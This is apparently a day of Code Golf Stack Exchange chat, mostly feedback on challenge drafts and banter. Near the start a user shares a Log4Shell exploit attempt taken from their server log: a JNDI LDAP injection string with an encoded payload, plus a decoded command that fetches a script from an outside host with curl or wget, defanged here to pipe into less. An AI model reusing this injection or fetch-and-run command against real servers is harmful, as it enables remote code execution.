« first day (3973 days earlier)      last day (877 days later) » 

7:00 PM
Huh, most Log4shell traffic to my server has subsided
 
@RedwolfPrograms nice
 
Not nice, it was fun to watch :p
 
127.0.0.1 - - [15/Dec/2021 13:20:15] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82NC42OS4zNi4xODU6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNjQuNjkuMzYuMTg1OjgwKXxiYXNo} HTTP/1.0" 200 -
haha, joke's on you, I don't use any logging utility because my code sucks and doesn't follow any conventions
tbh i'm unharmed by a lot of hacks and exploits these days because they attack common frameworks every sane person uses and so since i'm not sane and don't use any of them i don't care xD
4
 
(curl -s 195.54.160.149:5874/64.69.36.185:80||wget -q -O- 195.54.160.149:5874/64.69.36.185:80)|less
That's what the payload is
 
7:07 PM
ah
 
(Changed |bash to |less so people can't be potats and malware themselves)
 
i have no clue what that does
oh |bash. ok so it just downloads a script. ok
 
Yeah
Dang, it's blocked on my school wifi so I can't see what that points to
 
ah
it's empty???
 
What's empty?
 
7:10 PM
yeah i ran (...) > test.txt and it's just empty...
 
I wouldn't recommend doing that...but yeah, I tried curling it and I also get nothing
 
i mean, yeah, not a great idea to :p
 
I'm on a VM on a chromebook, so I'm pretty safe, but I probably wouldn't run anything possibly malicious on something that matters
 
yeah i definitely wouldn't run it but curl / wget shouldn't do anything as long as you don't execute the incoming data right?
 
Normally no, but all it takes is a typo/wrong copy-paste/bug in curl for things to go badly
 
7:15 PM
true
 
@hyper-neutrino Imagine using anything other than print(...) to log things
 
Same with debugging
 
i only learned how to use gdb because it's not convenient to just print() stuff in cpp
but in python i literally just always print
like for my cs project that i just finished earlier i literally just std::cerr << whatever and 2> debug.txt my program
 
7:33 PM
Any feedback on Worst time complexity in under 100 bytes? The requirement used to be irreducible, but I think this will work better.
 
Does it have to be deterministic?
(bogo*G64sort go brr)
 
i feel like that should be a standard loophole lol
 
i think that violates "must terminate in a finite amount of time"
even though technically the probability that it terminates approaches 1 as time approaches infinity it's not technically guaranteed to terminate
 
@RedwolfPrograms I think irreducible is more interesting, because otherwise it's probably gonna be "calculate the biggest number in under 90 bytes", and then return the sorted array
 
its time complexity though
so thatd be K, right?
or, well, K + your time complexity
 
7:49 PM
I mean, calculate the biggest number in under 90 bytes and do nothing n*that times, or similar
 
ah lol
 
that'd still be linear
 
or calculate Tree(n) or whatever
 
that, on the other hand, wouldn't :p
 
I basically mean use n as a parameter to generate the large number
 
7:50 PM
actually yea, so like. Whats up with that comment mentioning not to do irreducibility? that "loophole" doesnt actually break the challenge
 
@pxeger oh
 
(unless it does)
 
so someone in the sandbox linked this as proof that you shouldn't do irreducible code, but like. the exploit there only lets you make your code arbitrarily /long/
@pxeger i feel like this problem is just with largest time complexity in general actually
 
It's a problem with largest anything
That's why irreducible, unique bytes only, pristine, etc. exist
 
7:55 PM
ahh
wait uh
irreducible vs pristine?
 
Pristine requires erroring
 
ah right ty
 
If anyone here works with servers and stuff, if I can choose between four 500GB drives in RAID10 or two 1TB drives in RAID1, which is better?
 
0
A: Sandbox for Proposed Challenges

Ginger IndustriesTitle: Make a negative afterimage We've all seen the strange, inverted-color images of the American Flag or similar that look correct after you stare at them for a minute and look at a white object. These are called negative afterimages. Your Challenge Given an image as input, your program should...

 
the former will be faster
unless the 1TB drives are somehow much faster than the 500GB drives
and if you're setting up RAID yourself, then go for the second option because it's much easier to recover if when you break the RAID config
 
8:17 PM
0
Q: Get all binary between a binary string and its reverse

leo-but-not-the-other-guyYour Challenge is to take a binary string as input and get all binary numbers between itself and the reverse of its string representation. The number representation of the binary should be always in ascending order Test Cases Input: (1 or 0) Output: None, string and its reverse are identical Inp...

 
Ooh, RAID5 might be an option too
Three 500gb drives would give me 1tb total
 
Such maths...
3 * 500 definitely = 1024
 
The speed advantage isn't as good, but then again all my server does is absorb dust from nearby surfaces
@emanresuA That's a TiB, not a TB
Tibibyte sounds funny, but drives almost never use the binary units
 
@NewPosts I love how their username is "leo-but-not-the-other-guy"
 
8:23 PM
Not that this is a bad thing, but you welcomed them once before ;)
 
Oh frick, I forgot FQ isn't always new users
 
I remembered seeing the name previously
 
I felt like I remembered another leo with a long name like that, but idk
 
Leonardo Fochesato Michelon, Vacaria, RS, Brazil
1
 
The comments here are hilarious X^D
 
8:39 PM
Yep :p
 
@RedwolfPrograms You used z before assiging it :p
 
this IO format is annoying
almost 200% overhead
 
Vyxal zfill go brr
(If I need it, hoping I don't)
 
any time strings exist jelly suffers
 
8:45 PM
@hyper-neutrino which io format?
 
@hyper-neutrino Vanilla js go brr
@RedwolfPrograms Still doesn't seem to work - gives [2] for 0100
 
@thejonymyster new challenge
 
@emanresuA hmm
 
0
Q: Badge progress circle misalinged

grandBagel The double circle is partly outside the box. Is this a bug? I am using Edge, Windows 10.

 
Oh I see the issue
 
8:51 PM
@hyper-neutrino the binary one? i guess i can see that, allowing a number input would nice, someone should comment
 
Bit arrays aren't even permitted, so numbers certainly won't
 
oh wait, number wouldnt work because of how the challenge works
since it accounts for leading 0s hm
 
It's basically exclusive range with a binary element.
I kinda want to vtc but not sre what as
 
I wish there was an option to vtc as bad
but I'll just downvote for now
 
"vtc as bad"
You are missing the point of vtcing
By so much
 
9:00 PM
you are missing the joke
 
Yeah, except that's actually common thing for people to do
Using vtcs as super-downvotes
 
@emanresuA bounty reminder
 
> After seeing some of the solutions i have removed the requirement of the number representation of the binary being in ascending order
wait, what does it even mean number representation of the binary being in ascending order, just like, the output range has to be in the correct order?
or was there another requirement?
 
@hyper-neutrino yes, the output range
 
@hyper-neutrino Yeah
 
9:02 PM
hm. okay
 
@pxeger There you go, enjoy the repcap hat
 
bounties don't count towards the repcap
but thanks lol
 
+10 bytes for zero-padding, oof
 
+4 bytes for zero-padding, oof
 
do we have a challenge for the like, make an ascii art of an input number where each digit is drawn using that digit?
eg input 12, output
1 222
1 2
1 222
1 2
1 222
but like, not pwned by formatting lolol
cba to fix
 
9:17 PM
1 222
1   2
1 222
1 2
1 222
?
 
yea like that
maybe not necessarily in that exact shape but you get the idea
 
I'm very sure we do.
 
ill search later then lol
 
@emanresuA The gif needs a pause (i.e. many identical frames at beginning and end). Otherwise it is hard to discern where the beginning is.
 
Sure.
 
@emanresuA Are we allowed to use digit lists instead of numbers?
E.g. take [4,3,2,6] as input and return
[[1,0,0,0],
 [2,0,0,0],
 [3,0,0,0],
 [4,0,0,0],
 [4,1,0,0],
 [4,2,0,0],
 [4,3,0,0],
 [4,3,1,0],
 [4,3,2,0],
 [4,3,2,1],
 [4,3,2,2],
 [4,3,2,3],
 [4,3,2,4],
 [4,3,2,5],
 [4,3,2,6]]
 
9:48 PM
Sure!
 
@thejonymyster Take input as a string?
 
@grandBagel That's allowed by default.
@emanresuA Aw, I have such a neat (imo) answer. When will you post already‽
 
@emanresuA Take input as basex?
 
@Adám Once I've finished making the gif...
 
9:51 PM
jk
@emanresuA Nice, but too fast now.
 
Also, the 1 isn't the same width as the other numerals
Nor the 7
 
I know, there's nothing I can really do about that...
 
Wait, the 7 is fine
 
@emanresuA Wait, why? I can make a gif like that.
 
Oh wait... I can just screen record the reference implementation
 
10:02 PM
The gif is cute but IMO the snippet is sufficient
 
Agreed.
 
Also, the snippet is cute but IMO a code block would be sufficient
 
It'd be nice to list results (of at least the 47) vertically. Then it is easier to spot the pattern.
 
I think both would be good
10
20
30
40
41
42
43
44
45
46
47
At minimum I think you should include ^ for people who e.g. can't hit imgur
 
@emanresuA Maybe specify that n is strictly positive?
 
10:07 PM
Also, it seems like 0 should come first
 
That's optional (which is good, imo).
 
Snippet updated
@Adám Yep
Should n be able to be zero?
 
@Adám Ah, missed that
@emanresuA In that case, would both [] and [0] be valid outputs?
 
@emanresuA No. Including edge cases for completeness is an official thing to avoid.
 
You should s/number/non-negative integer/ or s/number/positive integer/ in a couple places
 
10:10 PM
@Adám Ok, wasn't sure whether it was an edgecase
@tjjfvi Done
 
@emanresuA Well, it is on the edge of the domain :P
You removed the gif from your answer but still mention "the gif is just to demonstrate"
 
Fixe
 
Maybe concatenate the CSS and HTML each into one line for compactness
The JS, too, unless you're intentionally leaving that readable
 
@tjjfvi Minified the animation bit of JS, left the generation bit readable
Also, how do you wear multiple hats?
 
My solution fails on an edge case (one of the test cases) :-(
@emanresuA Maybe add a single-digit test case, e.g. 9?
And one that ends with 0.
 
10:24 PM
Done
 
And my issue was fixed, so I'm all for posting. I love this challenge.
@emanresuA JS fails for me now.
Error: {
  "message": "TypeError: values.join(...) is not a function",
  "filename": "https://stacksnippets.net/js",
  "lineno": 22,
  "colno": 3
}
 
ASI hazard
Put a semi before the (function next(){...
 
Oh, thanks
 
@emanresuA I'd show the 47 example in a code block rather than MathJax.
 
Agreed, especially with the ugly wrapping
 
10:34 PM
Done
 
@emanresuA No, code block, not inline code.
And I don't think the JS impl. needs to print all numbers, just animate (slightly slower).
 
31 mins ago, by Adám
It'd be nice to list results (of at least the 47) vertically. Then it is easier to spot the pattern.
 
That codeblock seems redundant with the test cases
I think Adám is looking for the 47 test case to be displayed vertically
 
78
A: Things to avoid when writing challenges

xnorRules inferred from test cases Test cases are examples for people to check their understanding of the spec and the correctness of their code. They should not replace an explanation of how the output must relate to the input. (There are rare exceptions where it's straightforward, like a scaling AS...

@tjjfvi Oh
 
10
20
30
40
41
42
43
44
45
46
47
e.g. ^
 
10:38 PM
Done that
 
@tjjfvi I mean that presenting the testcase for 47 in an array like that, in that paragraph, provides no greater value than if that was just one of the test cases
 
Error: {
  "message": "TypeError: countTo.map(...) is not a function",
  "filename": "https://stacksnippets.net/js",
  "lineno": 22,
  "colno": 3
}
 
10 mins ago, by tjjfvi
Put a semi before the (function next(){...
 
Oops, I had a semi but commented out that line
 
That's why you put the semi at the beginning of the hazardous line ;)
 
10:41 PM
@emanresuA Re-sort your test cases.
 
Lol this has so many edits
 
This will be so awesome.
I'd slow down the animation even more.
 
Suggested test case: 1001
 
@Adám Better?
 
Suggested test case: 1000
 
10:44 PM
@emanresuA Yes.
@tjjfvi Good call!
 
Hm, the system consolidates multiple minor edits into one larger one
 
Nice.
@emanresuA It is because we genuinely care. Best challenge I've seen in a while.
 
Your test case for 1001 is missing a space after the comma
As is 4
And 320
4 and 320 both use : instead of =>
 
All fixed
 
I've got my answer on the clipboard.
 
10:48 PM
How many bytes?
 
Seriously, when was the last time a +4/−0 was in the sandbox?
@emanresuA 24
I can't exclude that there's a way better way to do it.
 
OK.
 
, anything else?
 
sequence?
Maybe even combinatorics?
 
10:52 PM
Why that one?
 
It is about combining each possibility for each position…
Ooh, I might have an entirely different approach, now that I mentioned that.
 
Sure.
 
0
Q: Converge to a number

emanresu AYour challenge is to, given a positive integer n, count up to each digit of it, giving the effect of converging on it. Basically, count up to the first digit of n by its place value (\$⌊\log_{10}\left(x\right)⌋\$). Then do the same for each subsequent digit, but with the values of the previous di...

 
11:06 PM
I must be missing something.
 
@RedwolfPrograms No, that's "counting the number of occurrences"
 
o/ for now
 
11:26 PM
CMQ: who looks like they're having more fun, the people in the winter bash or the ones in the summer bash?
 
@JoKing Winter. There's nothing funnier than seeing penguins during the southern summer.
 
11:44 PM
"on no, they've escaped from the zoo again"
 
Do polar bears eat penguins?
 
> I tried to find any instances of polar bears eating a penguin at a zoo but was unable to find anything. I suspect if it has ever happened, it was hushed up to avoid the horrible publicity it would cause.
 
Polar bear population in Poland? (Polish polar bears.)
 
No those would be polish bears, silly
(ninja'd :()
 
Does it count as a ninja if it's an edit?
 
11:53 PM
How many Poles can a polar bear eat?
Can a polar bear climb a pole?
What's the polarity of a polar bear?
— It is clearly a south pole, since it likes being close to the north pole.
 
@Adám lol
 

« first day (3973 days earlier)      last day (877 days later) »